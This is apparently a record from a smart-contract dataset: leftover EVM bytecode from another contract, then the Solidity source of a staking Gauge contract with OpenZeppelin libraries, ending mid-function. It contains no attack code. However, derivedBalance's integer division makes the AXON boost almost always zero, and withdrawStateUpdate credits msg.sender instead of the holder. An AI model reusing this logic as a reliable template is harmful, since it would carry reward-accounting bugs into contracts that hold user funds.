51808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a723058200ce835f05c31513ad2cfce2d29d8555f544c86d99346b90e3fbfc550a3dc03c20029
[ 17 ]
0xf1d2A7B230876eb84164Db9cE942b84AA0BEa30F
pragma solidity 0.8.2; import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import {IAxon} from "./interfaces/IAxon.sol"; contract Gauge is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public immutable NEURON; IAxon public immutable AXON; IERC20 public immutable TOKEN; address public immutable DISTRIBUTION; uint256 public constant DURATION = 7 days; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; modifier onlyDistribution() { require( msg.sender == DISTRIBUTION, "Caller is not RewardsDistribution contract" ); _; } mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 public _totalSupply; uint256 public derivedSupply; mapping(address => uint256) private _balances; mapping(address => uint256) public derivedBalances; mapping(address => uint256) private _base; constructor( address _token, address _neuron, address _axon ) { NEURON = IERC20(_neuron); AXON = IAxon(_axon); TOKEN = IERC20(_token); DISTRIBUTION = msg.sender; } function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address account) external view returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate) .mul(1e18) .div(derivedSupply) ); } function derivedBalance(address account) public view returns (uint256) { uint256 _balance = _balances[account]; uint256 _derived = _balance.mul(40).div(100); uint256 axonMultiplier = 0; uint256 axonTotalSupply = AXON.totalSupply(); if (axonTotalSupply != 0) { axonMultiplier = AXON.balanceOf(account).div(AXON.totalSupply()); } uint256 _adjusted = (_totalSupply.mul(axonMultiplier)).mul(60).div(100); return Math.min(_derived.add(_adjusted), _balance); } function kick(address account) public { uint256 _derivedBalance = derivedBalances[account]; derivedSupply = derivedSupply.sub(_derivedBalance); _derivedBalance = derivedBalance(account); derivedBalances[account] = _derivedBalance; derivedSupply = derivedSupply.add(_derivedBalance); } function earned(address account) public view returns (uint256) { return derivedBalances[account] .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getRewardForDuration() external view returns (uint256) { return rewardRate.mul(DURATION); } function depositAll() external { _deposit(TOKEN.balanceOf(msg.sender), msg.sender, msg.sender); } function deposit(uint256 amount) external { _deposit(amount, msg.sender, msg.sender); } function depositFor(uint256 amount, address account) external { _deposit(amount, account, account); } function depositFromSenderFor(uint256 amount, address account) external { _deposit(amount, msg.sender, account); } function depositStateUpdate(address holder, uint256 amount) internal updateReward(holder) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[holder] = _balances[holder].add(amount); emit Staked(holder, amount); } function depositStateUpdateByPool(address holder, uint256 amount) external { require( msg.sender == address(TOKEN), "State update without transfer can only be called by pool" ); depositStateUpdate(holder, amount); } function _deposit( uint256 amount, address spender, address recipient ) internal nonReentrant { depositStateUpdate(recipient, amount); TOKEN.safeTransferFrom(spender, address(this), amount); } function withdrawAll() external { _withdraw(_balances[msg.sender]); } function withdraw(uint256 amount) external { _withdraw(amount); } function _withdraw(uint256 amount) internal nonReentrant { withdrawStateUpdate(msg.sender, amount); TOKEN.safeTransfer(msg.sender, amount); } function withdrawStateUpdate(address holder, uint256 amount) internal updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[holder] = _balances[holder].sub(amount); emit Withdrawn(holder, amount); } // We use this function when withdraw right from pool. No transfer because after that we burn this amount from contract. function withdrawAllStateUpdateByPool(address holder) external nonReentrant returns (uint256) { require( msg.sender == address(TOKEN), "Only corresponding pool can withdraw tokens for someone" ); uint256 amount = _balances[holder]; withdrawStateUpdate(holder, amount); return amount; } function getReward() public nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; NEURON.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function exit() external { _withdraw(_balances[msg.sender]); getReward(); } function notifyRewardAmount(uint256 reward) external onlyDistribution updateReward(address(0)) { NEURON.safeTransferFrom(DISTRIBUTION, address(this), reward); if (block.timestamp >= periodFinish) { rewardRate = reward.div(DURATION); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(DURATION); } // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = NEURON.balanceOf(address(this)); require( rewardRate <= balance.div(DURATION), "Provided reward too high" ); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(DURATION); emit RewardAdded(reward); } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; if (account != address(0)) { kick(account); } } event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute. return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a / b + (a % b == 0 ? 0 : 1); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity 0.8.2; interface IAxon { function balanceOf(address addr, uint256 _t) external view returns (uint256); function balanceOf(address addr) external view returns (uint256); function balanceOfAt(address addr, uint256 _block) external view returns (uint256); function totalSupply(uint256 t) external view returns (uint256); function totalSupply() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory 